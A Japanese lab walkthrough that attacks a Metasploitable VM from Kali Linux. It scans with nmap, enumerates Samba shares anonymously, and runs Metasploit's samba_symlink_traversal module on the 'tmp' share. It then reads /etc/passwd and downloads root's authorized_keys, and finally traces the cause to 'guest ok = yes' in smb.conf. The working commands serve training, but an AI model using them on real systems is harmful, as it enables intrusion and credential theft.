ディレクトリトラバーサルの実験
ディレクトリトラバーサル
これは本来アクセスしてほしくないディレクトリや
ファイルの位置を表示させ不正アクセスするというもの
詳しくは
を参考に
KaliLinux と Metasploitableで実験
1 | nmap -sV -O -p- 192.168.1.137 |
により
1 2 | 139 /tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445 /tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
の結果が途中にでてくることから
Samba が稼働しているので
共有サービスがあるのが確認できる
まず
smbclient コマンドで情報を集める
を参考に
-L オプションを使うことで利用可能なサービス一覧をみれる
1 | smbclient -L //192 .168.1.137 |
を実行すると
1 | Enter WORKGROUP\root's password: |
となるので Enter
結果は
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP RASPBERRYPI |
となる
この中で怪しいのは
1 | tmp Disk oh noes! |
の部分
Sambaには共有フォルダ外へのシンボリックリンクの設定があり
これは
smb.conf の wide links で設定する
この部分が yes なら有効になっているが
最新のものならデフォルトで no になっている
例として
共有ファイルが 777権限で
これにシンボリックリンクがはってあるとき
wide links が yes ならアクセスできるユーザは
誰でも実行できる
Metasploit には
wide links が yes なら
ディレクトリトラバーサルを実現するモジュールがあるので
これを実行
1 | msfconsole -q |
でバナー省略で起動
1 2 3 4 | use auxiliary /admin/smb/samba_symlink_traversal set rhost 192.168.1.137 set smbshare tmp exploit |
で実行
set rhost で攻撃対象のIPを指定
set smbshare で 対象とする Sharename を指定
結果として
1 2 3 4 5 6 7 8 9 | [*] Running module against 192.168.1.137 [*] 192.168.1.137:445 - Connecting to the server... [*] 192.168.1.137:445 - Trying to mount writeable share 'tmp' ... [*] 192.168.1.137:445 - Trying to link 'rootfs' to the root filesystem... [*] 192.168.1.137:445 - Now access the following share to browse the root filesystem: [*] 192.168.1.137:445 - \\192.168.1.137\tmp\rootfs\ [*] Auxiliary module execution completed |
により tmp 共有フォルダがマウントされているのがわかる
これで smbclient コマンドで
共有フォルダにアクセスできるようになる
一度
1 | exit |
で抜けて
1 | smbclient //192 .168.1.137 /tmp |
というように
//ホスト名/共有名
でアクセスすることができる
1 | Enter WORKGROUP\root's password: |
となるので Enter でOK
これで help コマンドで使用できるコマンドを調べることができる
この状態で
1 | cd rootfs\ |
とすると rootfs であることがわかる
パスワードファイルの閲覧をするには
1 2 | cd etc\ more passwd |
で閲覧ができる
ただし root 権限ではないので
shadow を閲覧しようとしてもなにも表示されない
moreコマンドについては
【more】Linuxでファイルをページ単位で表示するコマンド
を参考に
more の画面から抜けるには q を押せばOK
次に get コマンドでroot ユーザの ssh 公開鍵のダウンロード
1 2 3 | cd \rootfs\root\. ssh get authorized_keys exit |
これで
KaliLinux のカレントディレクトリにダウンロードされる
これらの原因をみるには一度 metasplotable にログインし
設定を確認
1 | ssh msfadmin@192.168.1.137 |
で ssh でパスワード認証でログイン
1 2 3 | The authenticity of host '192.168.1.137 (192.168.1.137)' can't be established. RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d /rrJB84rk . Are you sure you want to continue connecting ( yes /no/ [fingerprint])? |
となるので
yes を入力
1 | msfadmin@192.168.1.137's password: |
となるので
パスワードは mfsadmin を入力
これでログインできるので
1 | vim /etc/samba/smb .conf |
でファイルを開き
shift + g で最終行に移動
なお vim の操作については
Vim初心者に捧ぐ実践的入門
を参考に
ほかにも vim 使い方で検索するとでてくる
1 2 3 4 5 6 7 8 9 10 11 | [tmp] comment = oh noes! read only = no locking = no path = /tmp guest ok = yes [opt] read only = yes locking = no path = /tmp |
となっていて
guest ok = yes
により認証なしの共有フォルダになっているのが原因